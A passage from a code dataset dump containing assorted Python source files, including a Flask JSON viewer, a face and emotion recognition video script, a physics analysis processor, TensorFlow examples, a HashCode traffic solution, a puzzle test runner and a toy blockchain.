filename composition code'''\n response_path = validate_params(request.args)\n return 'Hello Query Metadata Path: \"%s\"!' % response_path\n\n@app.route('/itbp/v1.0/showjson', methods=['GET'])\ndef showjson():\n '''Prototype code for requestion the JSON of a particular best practice.\n The error cases are not handled correctly yet.\n Open question - do we want to limit the size of the file that we show?\n '''\n itbpfilename = validate_params(request.args)\n if not os.path.isfile(itbpfilename):\n abort(404)\n tipfile = open(itbpfilename, 'r')\n dat = tipfile.read()\n tipfile.close()\n resp = Response(response=dat, status=200, mimetype='application/json')\n return resp\n\n@app.route('/itbp/v1.0/show', methods=['GET'])\ndef show():\n '''Prototype code for showing a human readable HTML rendention\n of and IT Best Practices criteria.\n They all return apparent success, just very poor HTML.\n '''\n itbpfilename = validate_params(request.args)\n if not os.path.isfile(itbpfilename):\n abort(404)\n (startpath, tipfilename) = os.path.split(itbpfilename)\n tipfile = open(itbpfilename, 'r')\n dat = tipfile.read()\n tipfile.close()\n new_obj = json.loads(dat)\n sev = new_obj['severity']\n tiptext = new_obj['text']\n entiptext = tiptext['en']\n shortdesc = entiptext['short_description']\n longdesc = entiptext['long_description']\n fixdesc = entiptext['fix']\n checkdesc = entiptext['check']\n\n return render_template('tip.html', severity=sev, tipname=tipfilename,\n shorttiptext=shortdesc, longtiptext=longdesc,\n checktiptext=checkdesc, fixtiptext=fixdesc)\n\nif __name__ == '__main__':\n\n app.run()\n","sub_path":"tools/viewer/itbp.py","file_name":"itbp.py","file_ext":"py","file_size_in_byte":4964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"296532624","text":"import glob\n\nimport cv2\nimport face_recognition\nimport imutils\nimport numpy as np\nfrom keras.models import load_model\nfrom sklearn.neighbors import KNeighborsClassifier\n\nNUMBER_KNN = 5\nTHREADHOLD = 0.5\n\n# Open the input movie file\ninput_video = cv2.VideoCapture(\"/home/quanglv/Videos/hai_test.mp4\")\nwidth = int(input_video.get(cv2.CAP_PROP_FRAME_WIDTH)) # float\nheight = int(input_video.get(cv2.CAP_PROP_FRAME_HEIGHT)) # float\nfps = input_video.get(cv2.CAP_PROP_FPS)\nlength = int(input_video.get(cv2.CAP_PROP_FRAME_COUNT))\n\n# Create an output movie file (make sure resolution/frame rate matches input video!)\nfourcc = cv2.VideoWriter_fourcc(*'mp4v')\noutput_movie = cv2.VideoWriter('demo.mp4', fourcc, fps, (height, width))\n\n# Load some sample pictures and learn how to recognize them.\n# X_train is encode of image in objects database, y_train is label, object_names to save name of objects\nX_train = []\ny_train = []\nobject_names = []\nlabel = 0\nfolders = glob.glob('/home/quanglv/PycharmProjects/emotional_identification/face/*')\nfor folder in folders:\n # Get object names\n name = folder.split(\"/\")[-1]\n object_names.append(name)\n\n # Use to face_recognition getting encode's object images\n paths = glob.glob(folder + '/*')\n for path in paths:\n img = face_recognition.load_image_file(path)\n face_encoding = face_recognition.face_encodings(img)\n if len(face_encoding) > 0:\n face_encoding = face_encoding[0]\n X_train.append(face_encoding)\n y_train.append(label)\n else:\n continue\n label += 1\nobject_names.append('unknow')\nX_train = np.array(X_train)\ny_train = np.array(y_train)\nobject_names = np.array(object_names)\n\n# Using KNN for classification\nclassifier = KNeighborsClassifier(n_neighbors=NUMBER_KNN)\nclassifier.fit(X_train, y_train)\n\n# Load model emotion_detection\nMODELPATH = '/home/quanglv/PycharmProjects/emotional_identification/models/model.h5'\nemotion_dict = {0: \"angry\", 1: \"disgust\", 2: \"fear\", 3: \"happy\", 4: \"sad\", 5: \"surprise\", 6: \"neutral\"}\nmodel = load_model(MODELPATH)\nmodel.summary()\n\nframe_number = 0\n\nwhile True:\n # Grab a single frame of video\n ret, frame = input_video.read()\n\n frame = imutils.rotate_bound(frame, 90)\n\n frame_number += 1\n\n # Quit when the input video file ends\n if not ret:\n break\n\n # Convert the image from BGR color (which OpenCV uses) to RGB color (which face_recognition uses)\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n # print(gray.shape)\n\n rgb_frame = frame[:, :, ::-1]\n # print(rgb_frame.shape)\n # Find all the faces and face encodings in the current frame of video\n face_locations = face_recognition.face_locations(rgb_frame)\n\n face_encodings = face_recognition.face_encodings(rgb_frame, face_locations)\n\n face_encodings = np.array(face_encodings)\n\n if (face_encodings.shape[0] == 0):\n print(\"Writing frame {} / {}\".format(frame_number, length))\n frame = imutils.rotate_bound(frame, -90)\n output_movie.write(frame)\n continue\n else:\n results = classifier.kneighbors(face_encodings)\n threadholds = np.mean(results[0], axis=1)\n\n # Set threadhold for KNN\n threadholds = (threadholds < THREADHOLD)\n\n # Get index of value bigger than threadhold\n unknow_indexs = np.where(threadholds == False)\n\n # Get index of prection\n object_indexs = classifier.predict(face_encodings)\n\n # Set index = -1 if value < threadhold\n object_indexs[unknow_indexs] = -1\n\n # Get name\n obj_names = object_names[object_indexs]\n\n # Label the results\n for (top, right, bottom, left), name in zip(face_locations, obj_names):\n if not name:\n continue\n\n # Detect emotion\n face = gray[top:bottom, left:right]\n\n face = cv2.resize(face, (48, 48))\n face = np.reshape(face, (-1, 48, 48, 1))\n face = (face - 127.5) / 127.5\n prediction = model.predict(face)\n\n emotion = emotion_dict[int(np.argmax(prediction))]\n\n name = name + ' is ' + emotion\n\n cv2.rectangle(frame, (left, top), (right, bottom), (0, 0, 255), 2)\n\n # Draw a label with a name below the face\n cv2.rectangle(frame, (left, bottom - 25), (right, bottom), (0, 0, 255), cv2.FILLED)\n font = cv2.FONT_HERSHEY_DUPLEX\n cv2.putText(frame, name, (left + 10, bottom - 10), font, 1, (255, 255, 255), 1)\n\n # Write the resulting image to the output video file\n print(\"Writing frame {} / {}\".format(frame_number, length))\n output_movie.write(frame)\n\n# All done!\ninput_video.release()\ncv2.destroyAllWindows()\n","sub_path":"recognise_face.py","file_name":"recognise_face.py","file_ext":"py","file_size_in_byte":4653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"177113096","text":"'''\nBinarySearch(array,key)\nreturn -1 : array is error\nreturn -2 : key without array\n'''\ndef BinarySearch(array,key):\n head = 0\n tail = len(array) - 1\n while head <= tail:\n if head > tail:\n return -1\n middle = (head+tail)/2\n if array[middle] == key:\n return middle\n elif array[middle] > key:\n tail = middle - 1\n else:\n head = middle + 1\n return -2\n","sub_path":"algorithms/BinarySearch.py","file_name":"BinarySearch.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"381880617","text":"import logging\nimport numpy as np\nfrom coffea import processor, hist\nfrom boostedhiggs.twoProngGRU import *\nfrom coffea.nanoaod.methods import collection_methods, Candidate\ncollection_methods[\"FatJetPFCands\"] = Candidate\n\nfrom boostedhiggs.corrections import (\n corrected_msoftdrop,\n add_pileup_weight,\n add_jetTriggerWeight,\n)\n\nclass DDTProcessor(processor.ProcessorABC):\n def __init__(self, year='2017'):\n self._year = year\n self._triggers = {\n '2017': [\n 'PFHT1050',\n 'AK8PFJet400_TrimMass30',\n 'AK8PFJet420_TrimMass30',\n 'AK8PFHT800_TrimMass50',\n 'PFJet500',\n 'AK8PFJet500',\n 'AK8PFJet550',\n 'CaloJet500_NoJetID',\n 'CaloJet550_NoJetID', \n ]\n }\n self._accumulator = processor.dict_accumulator({\n 'sumw': processor.defaultdict_accumulator(float),\n 'jet_kin': hist.Hist(\n 'Events',\n hist.Cat('dataset', 'Dataset'),\n hist.Cat('region', 'Region'),\n hist.Bin('jet_pt', r'Jet $p_{T}$ [GeV]', 100, 200, 1200),\n hist.Bin('jet_rho', r'Jet $\\rho$', 180, -5.5, -2.),\n #hist.Bin('jet_mass', r'Jet $m_{SD}$', 41, 40, 350),\n hist.Bin('jet_in_v3', 'IN value', 100, 0.0, 1.0),\n #hist.Bin('jet_twoProngGru', r'Jet GRU score', 100, 0., 1.0),\n #hist.Bin('jet_n2b1', r'Jet N_{2}}score', 100, 0., 0.5),\n ),\n 'cutflow': hist.Hist(\n 'Events',\n hist.Cat('dataset', 'Dataset'),\n hist.Cat('region', 'Region'),\n hist.Bin('cut', 'Cut index', 11, 0, 11),\n ),\n })\n\n @property\n def accumulator(self):\n return self._accumulator\n\n def process(self, events):\n if(len(events) == 0): return output\n\n dataset = events.metadata['dataset']\n isRealData = False\n selection = processor.PackedSelection()\n weights = processor.Weights(len(events))\n output = self.accumulator.identity()\n output['sumw'][dataset] += events.genWeight.sum()\n\n trigger_fatjet = np.zeros(events.size, dtype='bool')\n\n # trigger paths\n for t in self._triggers[self._year]:\n trigger_fatjet = trigger_fatjet | events.HLT[t]\n selection.add('fatjet_trigger', trigger_fatjet)\n\n # run model on PFCands associated to FatJet (FatJetPFCands)\n #events.FatJet.array.content[\"PFCands\"] = type(events.FatJetPFCands.array).fromcounts(events.FatJet.nPFConstituents.flatten(), events.FatJetPFCands.flatten())\n #events.FatJet.array.content[\"twoProngGru\"] = run_model(events.FatJet.flatten())\n\n fatjets = events.FatJet\n IN = events.IN\n\n fatjets['msdcorr'] = corrected_msoftdrop(fatjets)\n fatjets['rhocorr'] = 2*np.log(fatjets.msdcorr/fatjets.pt)\n fatjets['in_v3'] = IN.v3\n candidatejet = fatjets[\n # https://github.com/DAZSLE/BaconAnalyzer/blob/master/Analyzer/src/VJetLoader.cc#L269\n (fatjets.pt > 200)\n & (abs(fatjets.eta) < 2.5)\n # & fatjets.isLoose # not always available\n & (fatjets.rhocorr >= -5.5)\n & (fatjets.rhocorr <= -2)\n ][:, 0:1]\n\n #events.FatJet = candidatejet\n\n\n # basic jet selection\n selection.add('minjetkin', (\n (candidatejet.pt >= 200)\n & (candidatejet.msdcorr >= 40.)\n & (abs(candidatejet.eta) < 2.5)\n ).any())\n\n # lep veto\n nmuons = (\n (events.Muon.pt > 10)\n & (abs(events.Muon.eta) < 2.4)\n & (events.Muon.pfRelIso04_all < 0.25)\n & (events.Muon.looseId).astype(bool)\n ).sum()\n\n nelectrons = (\n (events.Electron.pt > 10)\n & (abs(events.Electron.eta) < 2.5)\n & (events.Electron.cutBased >= events.Electron.LOOSE)\n ).sum()\n\n ntaus = (\n (events.Tau.pt > 20)\n & (events.Tau.idDecayMode).astype(bool)\n # bacon iso looser than Nano selection\n ).sum()\n selection.add('jetid', candidatejet.isTight.any())\n\n selection.add('noleptons', (nmuons == 0) & (nelectrons == 0) & (ntaus == 0))\n #weights.add('genweight', events.genWeight)\n #add_pileup_weight(weights, events.Pileup.nPU, self._year, dataset)\n #add_jetTriggerWeight(weights, candidatejet.msdcorr, candidatejet.pt, self._year)\n\n regions = {\n 'signal' : ['fatjet_trigger', 'minjetkin','noleptons','jetid']\n }\n for region, cuts in regions.items():\n allcuts = set()\n output['cutflow'].fill(dataset=dataset, region=region, cut=0)\n for i, cut in enumerate(cuts):\n allcuts.add(cut)\n cut = selection.all(*allcuts)\n output['cutflow'].fill(dataset=dataset, region=region, cut=i + 1)# weight=weights.weight()[cut])\n\n def normalize(val, cut):\n return val[cut].pad(1, clip=True).fillna(0).flatten()\n\n def fill(region, systematic=None, wmod=None):\n selections = regions[region]\n cut = selection.all(*selections)\n sname = 'nominal' if systematic is None else systematic\n weight = weights.weight()[cut]\n output['jet_kin'].fill(\n dataset=dataset,\n region=region,\n jet_pt=normalize(candidatejet.pt, cut),\n #jet_mass=normalize(candidatejet.msdcorr, cut),\n jet_rho=normalize(2*np.log(candidatejet.msdcorr/candidatejet.pt), cut),\n jet_in_v3=normalize(candidatejet.in_v3, cut),\n #jet_n2b1=normalize(candidatejet.n2b1, cut),\n )\n\n for region in regions:\n fill(region)\n\n return output\n\n def postprocess(self, accumulator):\n return accumulator\n\n","sub_path":"boostedhiggs/ddt_processor.py","file_name":"ddt_processor.py","file_ext":"py","file_size_in_byte":6000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"85192252","text":"import tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# Define hyperparameters\nlearning_rate = 0.01\ntraining_epochs = 100\n\n# Setup fake data\nx_train = np.linspace(-1, 1, 101)\ny_train = 2 * x_train + np.random.randn(*x_train.shape) * 0.33\n\n# Define input and output nodes as placeholders -\n# value injected by x_train and y_train\nX = tf.placeholder(tf.float32)\nY = tf.placeholder(tf.float32)\n\n\n# Defines model as y = w*X:\ndef model(X, w):\n return tf.multiply(X, w)\n\n\n# Sets up weight variable:\nw = tf.Variable(0.0, name=\"weights\")\n\n# Defines cost function\ny_model = model(X, w)\ncost = tf.square(Y - y_model)\n\n# Defines operation that will be called on each iteration of learning algorithm\ntrain_op = tf.train.GradientDescentOptimizer(learning_rate).minimize(cost)\n\n# Sets up session and initialises all variables\nsess = tf.Session()\ninit = tf.global_variables_initializer()\nsess.run(init)\n\n# loops through dataset multiple times\nfor epoch in range(training_epochs):\n # Loops through each item in dataset\n for (x, y) in zip(x_train, y_train):\n # Updates the model parameter(s) to try and minimize cost function\n sess.run(train_op, feed_dict={X: x, Y: y})\n\n# Obtains the final parameter value\nw_val = sess.run(w)\n\nsess.close()\n# Plots the original data\nplt.scatter(x_train, y_train)\n# Plots the best fit line\ny_learned = x_train * w_val\nplt.plot(x_train, y_learned, 'r')\nplt.show()\n","sub_path":"solving_linear_regression.py","file_name":"solving_linear_regression.py","file_ext":"py","file_size_in_byte":1424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"376502953","text":"#!/usr/bin/python3\nimport sys\nimport math\nimport random\n\n\n# Variables gloables\ntiempo=0\nintersecciones=0\ncalles=0\ncoches=0\nbonus=0\nlistaCalles=[]\nlistaCaminoCoches=[]\ndicCalles={}\ndicCallesInverso={}\n\n\n\n#Funcion donde leemos la entrada, en variables globales\ndef leerEntrada():\n # global para usar variables globales\n global tiempo, intersecciones, calles, coches, bonus, listaCalles, listaCaminoCoches, dicCalles, dicCallesInverso\n\n tiempo, intersecciones, calles, coches, bonus = map(int, input().split())\n\n listaCalles = []\n idCalles=0\n # Leemos las calles\n for i in range(calles):\n descripcionCalle=input().split()\n #Asiganamos numero a calle\n if descripcionCalle[2] not in dicCalles:\n dicCalles[descripcionCalle[2]]=idCalles\n #Diccionario inverso para imprimir resultado\n dicCallesInverso[idCalles]=descripcionCalle[2]\n idCalles=idCalles+1\n\n listaCalles.append([int(descripcionCalle[0]),int(descripcionCalle[1]),int(dicCalles[descripcionCalle[2]]),int(descripcionCalle[3])])\n\n \n # Leemos los caminos\n listaCaminoCoches=[]\n for i in range(coches):\n #Ignoramos primer numero, porque ya tenemos el dato en la lista (es cuantas calles es el camino)\n descripcionCamino=input().split()\n listaCaminoCoches.append(descripcionCamino[1:])\n\n\n\n\ndef preprocesarEntrada():\n\n # global para usar variables globales\n global tiempo, intersecciones, calles, coches, bonus, listaCalles, listaCaminoCoches, dicCalles, dicCallesInverso\n\n def ordenarCalles(elementoP):\n return elementoP[1]\n listaCalles.sort(key=ordenarCalles,reverse=False)\n\n def ordenarCoches(elementoP):\n return len(elementoP[0])\n listaCaminoCoches.sort(key=ordenarCoches,reverse=False)\n return\n\n\n\ndef calcularSolucion():\n\n # global para usar variables globales\n global tiempo, intersecciones, calles, coches, bonus, listaCalles, listaCaminoCoches, dicCalles, dicCallesInverso\n\n #Obtengo calles a las que dar tiempo\n dicCallesTiempo={}\n\n for i in range (len(listaCaminoCoches)):\n for x in listaCaminoCoches[i]:\n if dicCalles[x] not in dicCallesTiempo:\n dicCallesTiempo[dicCalles[x]]=1\n else:\n dicCallesTiempo[dicCalles[x]]=dicCallesTiempo[dicCalles[x]]+1\n\n #print(dicCallesTiempo)\n\n totalHistograma=0\n\n\n valores=[]\n for x in dicCallesTiempo:\n totalHistograma=totalHistograma+dicCallesTiempo[x]\n valores.append([x,dicCallesTiempo[x]])\n\n\n def ordenarValores(elementoP):\n return elementoP[1]\n valores.sort(key=ordenarValores,reverse=True)\n\n\n\n #print(\"Total histograma \" + str(totalHistograma),file=sys.stderr)\n #print(valores,file=sys.stderr)\n #print(calcularPuntosSolucion(res),file=sys.stderr)\n\n res={}\n\n\n for i in range(len(listaCalles)):\n miCalle=listaCalles[i]\n\n\n\n if miCalle[2] not in dicCallesTiempo or dicCallesTiempo[miCalle[2]]<1: # or miCalle[3]>80:\n continue\n\n else:\n\n if not miCalle[1] in res:\n res[miCalle[1]] = []\n\n tiempo= min(dicCallesTiempo[miCalle[2]],1)\n res[miCalle[1]].append([dicCallesInverso[miCalle[2]],tiempo])\n return res\n \n\n#Funcion que imprime la solucion\ndef imprimirsolucion(r):\n \n #Imprimimos numero de envios\n print(len(r))\n for clave in r:\n print(clave)\n listaInterImprimir=r[clave]\n print(len(listaInterImprimir))\n for x in listaInterImprimir:\n print(str(x[0])+\" \"+str(x[1]))\n\n\ndef main():\n\n\n # global para usar variables globales\n global nPizzas, nEq2, nEq3, nEq4 \n\n\n # Leemos la entrada\n leerEntrada()\n\n # Preprocesamos entrada en variables globales (ordenar, hash, etc.)\n preprocesarEntrada()\n\n #Aqui guardaremos el resultado\n res=calcularSolucion()\n\n #print(pizzas)\n #print(calcularPuntosSolucion(res),file=sys.stderr)\n imprimirsolucion(res)\n\n# Codigo a ejecutar inicial\nmain()\n\n","sub_path":"Google-HashCode/hashcode2021/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"382060626","text":"import pandas as pd\n\n\"\"\"\nRef:\n https://www.datacamp.com/community/tutorials/pandas-multi-index#comments\n\"\"\"\n\nstr_data = r\"\"\"date,language,ex_complete\n2017-01-01,python,6\n2017-01-02,python,5\n2017-01-03,python,10\n2017-01-01,r,8\n2017-01-02,r,8\n2017-01-03,r,8\n\"\"\"\ndf = pd.read_csv(pd.compat.StringIO(str_data))\ndf.set_index(['date', 'language'], inplace=True)\ndf.sort_index(inplace=True)\n\nprint(df.index)\n\n# slice\ns = df.loc['2017-01-02']\nprint(s)\n\ns = df.loc[('2017-01-02', 'r')]\nprint(s)\n","sub_path":"hierarchical_indices.py","file_name":"hierarchical_indices.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"417097336","text":"\"\"\"\nA test tool for code puzzles.\nUsage: python cp_tester.py \nRequirement:\n Test subject: Command line executions that take test data as standard input\n and return results as standard output.\n Test setting: A formatted file for test data. The format is followings.\n As showed in followings, multiple input/output pairs are allowed.\n INPUT\n \n OUTPUT\n \n INPUT\n \n OUTPUT\n \n \n\"\"\"\n\nimport sys\nimport time\nimport math\nfrom subprocess import Popen, PIPE, STDOUT\n\nargv = sys.argv\nargc = len(argv)\n\ndef usage():\n \"\"\"show usage.\n \"\"\"\n print(\"usage : {0} \".format(argv[0]))\n\ndef read_test_file(filename):\n test_data = None\n current_data = None\n init = False\n for line in open(filename, 'r'):\n if line.rstrip() == \"INPUT\":\n if not init:\n # first test data\n test_data = []\n current_data = {}\n init = True\n else:\n # new test data\n if (\"input\" not in current_data) or (\"output\" not in current_data):\n raise ValueError(\"INPUT or OUTPUT not exists.\")\n test_data.append(current_data);\n current_data = {}\n current_data[\"input\"] = \"\"\n elif line.rstrip() == \"OUTPUT\":\n if not init:\n raise ValueError(\"NO INPUT\")\n if \"output\" in current_data:\n raise ValueError(\"OUTPUT duplicated\")\n current_data[\"output\"] = \"\"\n else:\n if not init:\n raise ValueError(\"NO INPUT\")\n if not \"input\" in current_data:\n raise ValueError(\"NO INPUT\")\n\n if not \"output\" in current_data:\n current_data[\"input\"] += line\n else:\n current_data[\"output\"] += line\n \n test_data.append(current_data);\n return test_data\n\ndef is_same_str(rhs, lhs):\n rhs_lines = rhs.rstrip().split(\"\\n\")\n lhs_lines = lhs.rstrip().split(\"\\n\")\n \n if len(rhs_lines) != len(lhs_lines):\n return False\n \n comp = zip(rhs_lines, lhs_lines)\n return all(map(lambda x: x[0].rstrip() == x[1].rstrip(), comp))\n\ndef get_lines(p):\n while True:\n line = p.stdout.readline()\n if line:\n yield line\n if not line and p.poll() is not None:\n break\n\ndef test(cmd, test_case):\n \"\"\"test cmd with one test_case\n cmd: name of command for test\n test_case: one test case setting\n \"\"\"\n input = test_case[\"input\"]\n if \"output\" not in test_case:\n return;\n\n p = Popen([cmd], stdout=PIPE, stdin=PIPE, stderr=STDOUT)\n start = time.time()\n\n print(\"input\")\n print(input)\n \n p.stdin.write(input.encode(\"utf8\"))\n p.stdin.flush()\n \n print(\"output\")\n output = \"\"\n for line in get_lines(p):\n line_str = line.decode(\"utf8\")\n sys.stdout.write(line_str)\n output += line_str\n \n end = time.time()\n diff = end - start\n print(\"process time : {0}\\n\".format(math.floor(diff*1000 + 0.5)))\n\n expected = test_case[\"output\"]\n if is_same_str(output, expected):\n print(\"OK\")\n return True\n else:\n print(\"NG : expected\")\n print(expected)\n return False\n\n\n# Main\n\nif (argc < 3):\n usage()\n exit(-1)\n\ntest_file = argv[2]\ntest_data = read_test_file(test_file)\n\nresult = True\nfor i, test_case in enumerate(test_data):\n print(\"test case {0}...\".format(i))\n ret = test(argv[1], test_case)\n if ret == False:\n \tresult = False\n print(\"\\n\")\n\nif result:\n\tprint(\"ALL OK\\n\")\nelse:\n\tprint(\"HAS NG\\n\")\n","sub_path":"devel/cp_tester.py","file_name":"cp_tester.py","file_ext":"py","file_size_in_byte":3957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"475134123","text":"import Ice\nIce.loadSlice('-I. --all icegrid/drobots.ice')\nIce.loadSlice('-I. --all icegrid/services.ice')\n\nimport drobots\nimport services\n\n\nclass PlayerI(drobots.Player):\n \"\"\"\n Player interface implementation\n \"\"\"\n\n def __init__(self, container_prx):\n self.container_prx = container_prx\n self.controller_factory_prx_1 = self.__get_controller_factory_prx(1)\n self.controller_factory_prx_2 = self.__get_controller_factory_prx(2)\n self.detector_factory_prx_1 = self.__get_detector_factory_prx()\n self.mine_index = 0\n self.mines = [\n drobots.Point(x=100, y=100),\n drobots.Point(x=100, y=300),\n drobots.Point(x=300, y=100),\n drobots.Point(x=300, y=300),\n ]\n\n\n def makeController(self, bot, current=None):\n if self.controller_factory_prx_1.amountCreated() < 2:\n controller = self.controller_factory_prx_1.makeController(bot)\n else:\n controller = self.controller_factory_prx_2.makeController(bot)\n\n return controller\n\n def makeDetectorController(self, current):\n return self.detector_factory_prx_1.makeDetectorController()\n\n def getMinePosition(self, current):\n \"\"\"\n Pending implementation:\n Point getMinePosition();\n \"\"\"\n pos = self.mines[self.mine_index]\n self.mine_index += 1\n return pos\n\n def win(self, current=None):\n \"\"\"\n Received when we win the match\n \"\"\"\n print(\"You win\")\n current.adapter.getCommunicator().shutdown()\n\n def lose(self, current=None):\n \"\"\"\n Received when we lose the match\n \"\"\"\n print(\"You lose :-(\")\n current.adapter.getCommunicator().shutdown()\n\n def gameAbort(self, current=None):\n \"\"\"\n Received when the match is aborted (when there are not enough players\n to start a game, for example)\n \"\"\"\n print(\"The game was aborted\")\n current.adapter.getCommunicator().shutdown()\n\n def __get_controller_factory_prx(self, n):\n container_list = self.container_prx.list()\n controller_factory_prx = container_list[\"controller_factory_{0}\".format(n)]\n controller_factory_prx = services.ControllerFactoryPrx.checkedCast(controller_factory_prx)\n\n return controller_factory_prx\n\n def __get_detector_factory_prx(self):\n container_list = self.container_prx.list()\n detector_factory_prx = container_list[\"detector_factory_1\"]\n detector_factory_prx = services.ControllerFactoryPrx.checkedCast(detector_factory_prx)\n\n return detector_factory_prx\n","sub_path":"player/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":2641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"612632252","text":"'''\n LICENSE\n\nBloxygen - Open Source Peer 2 Peer VPN Solution\nCopyright (C) 2018 Dylan Göpel\n\nThis program is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program. If not, see .\n\n'''\n\nfrom blox_block import Block\nfrom blox_check import Check\nfrom os.path import isfile\n\n\ndef _countlines(path):\n f = open(path, \"r\")\n i = 0\n for line in f.readlines():\n i += 1\n f.close()\n return i\n\n\ndef _linen(path, n):\n f = open(path, \"r\")\n i = 0\n for line in f.readlines():\n i += 1\n if i == n:\n f.close()\n return line\n return False\n\n\nclass Blockchain:\n def __init__(self, path, create=True):\n self.last = Block()\n self.current = Block()\n self.path = path\n\n if not isfile(path):\n if create:\n f = open(path, \"w\")\n f.close()\n else:\n raise FileNotFoundError\n\n n = _countlines(path)\n if n > 0:\n self.current.scan(_linen(path, n))\n if n > 1:\n self.last.scan(_linen(path, n - 1))\n\n def check(self):\n self.current = Block()\n rdr = open(self.path, \"r\")\n for line in rdr.readlines():\n self.last = self.current\n self.current = Block()\n self.current.scan(line)\n checked = Check.check(self.current, self.last)\n if not checked:\n return False\n return True\n\n def dump(self):\n summary = self.current.summary()\n f = open(self.path, \"a\")\n f.write(summary + \"\\n\")\n f.close()\n\n def append(self, key, target):\n block = Block()\n block.set(key, target, self.current)\n self.last = self.current\n self.current = block\n self.dump()\n","sub_path":"blox_blockchain.py","file_name":"blox_blockchain.py","file_ext":"py","file_size_in_byte":2321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"242910935","text":"#2525 오븐시계\nimport sys\n\ndef sol(total):\n h = total // 3600\n total %= 3600\n m = total // 60\n total %= 60\n s = total\n print(\"%d %d %d\" %(h,m,s)) \n\na, b, c = map(int, sys.stdin.readline().split())\nd = int(sys.stdin.readline())\ntotal = (a*3600) + (b*60) + c + d\nh=0\nm=0\ns=0\nif total >= 86400:\n total %= 86400\n sol(total)\n # h = total // 3600\n # total %= 3600\n # m = total // 60\n # total %= 60\n # s = total\nelse:\n sol(total)\n# h = total // 3600\n# total %= 3600\n# m = total // 60\n# total %= 60\n# s = total\n# print(\"%d %d %d\"%(h, m, s))","sub_path":"Baekjoon/2530.py","file_name":"2530.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"518341646","text":"#encoding=utf-8\nimport math\nimport tensorflow as tf\n\n#输入数据维度\ninput_length = 100\nword2vec_dimension = 1\n\n#1层卷积参数\nconv1_kernel_size = 4\nconv1_filter_number = 12\n\n#2层卷积参数\nconv2_kernel_size = 4\nconv2_filter_number = 12\n\n#全连接层参数\nfc_1_w = 25\nfc_2_w = 1\n\n#学习率\nlearning_rate = 0.5\n\ndef weight_variable(shape,name='weight'):\n inital = tf.truncated_normal(shape,dtype=tf.float32,stddev=0.1,name=name)\n return tf.Variable(inital)\n\ndef bias_variable(shape,name='bias'):\n inital = tf.constant(0.1,shape=shape,dtype=tf.float32,name=name)\n return tf.Variable(inital)\n\ndef conv2d(x, W,padding='VALID'):\n return tf.nn.conv2d(x,W,strides=[1,1,1,1],padding=padding)\n\ndef max_pool_2x2(x):\n return tf.nn.max_pool(x,ksize=[1,2,2,1],strides=[1,2,2,1],padding='SAME')\n\ndef inference(q_data,a_data,word2vec_dimension,\n conv1_kernel_size,conv1_filter_number,\n conv2_kernel_size,conv2_filter_number,\n fc_1_w,fc_2_w,keep_prob):\n # conv1\n with tf.name_scope('q_conv1'):\n q_W_conv1 = weight_variable([conv1_kernel_size, word2vec_dimension, 1, conv1_filter_number]) # patch 5*5 insize=1,outsize 32\n q_b_conv1 = bias_variable([conv1_filter_number])\n q_h_conv1 = tf.nn.tanh(conv2d(q_data, q_W_conv1,padding='SAME') + q_b_conv1)\n q_h_pool1 = max_pool_2x2(q_h_conv1)\n tf.summary.histogram('q_conv1/q_h_pool1', q_h_pool1)\n with tf.name_scope('a_conv1'):\n a_W_conv1 = weight_variable([conv1_kernel_size, word2vec_dimension, 1, conv1_filter_number]) # patch 5*5 insize=1,outsize 32\n a_b_conv1 = bias_variable([conv1_filter_number])\n a_h_conv1 = tf.nn.tanh(conv2d(a_data, a_W_conv1,padding='SAME') + a_b_conv1)\n a_h_pool1 = max_pool_2x2(a_h_conv1)\n tf.summary.histogram('q_conv1/a_h_pool1', a_h_pool1)\n\n #conv2\n with tf.name_scope('q_conv2'):\n q_W_conv2 = weight_variable([conv2_kernel_size, word2vec_dimension, conv1_filter_number , conv2_filter_number]) # patch 5*5 insize=1,outsize 32\n q_b_conv2 = bias_variable([conv2_filter_number])\n q_h_conv2 = tf.nn.tanh(conv2d(q_h_pool1,q_W_conv2,padding='SAME') + q_b_conv2)\n q_h_pool2 = max_pool_2x2(q_h_conv2)\n tf.summary.histogram('q_conv2/q_h_pool2', q_h_pool2)\n\n with tf.name_scope('a_conv2'):\n a_W_conv2 = weight_variable([conv2_kernel_size, word2vec_dimension, conv1_filter_number , conv2_filter_number]) # patch 5*5 insize=1,outsize 32\n a_b_conv2 = bias_variable([conv2_filter_number])\n a_h_conv2 = tf.nn.tanh(conv2d(a_h_pool1, a_W_conv2,padding='SAME') + a_b_conv2)\n a_h_pool2 = max_pool_2x2(a_h_conv2)\n tf.summary.histogram('a_conv2/a_h_pool2', a_h_pool2)\n\n #fc1\n with tf.name_scope('MLP_1'):\n q_pool2_flat = tf.reshape(q_h_pool2, [-1, 25 * word2vec_dimension * conv2_filter_number])\n a_pool2_flat = tf.reshape(a_h_pool2, 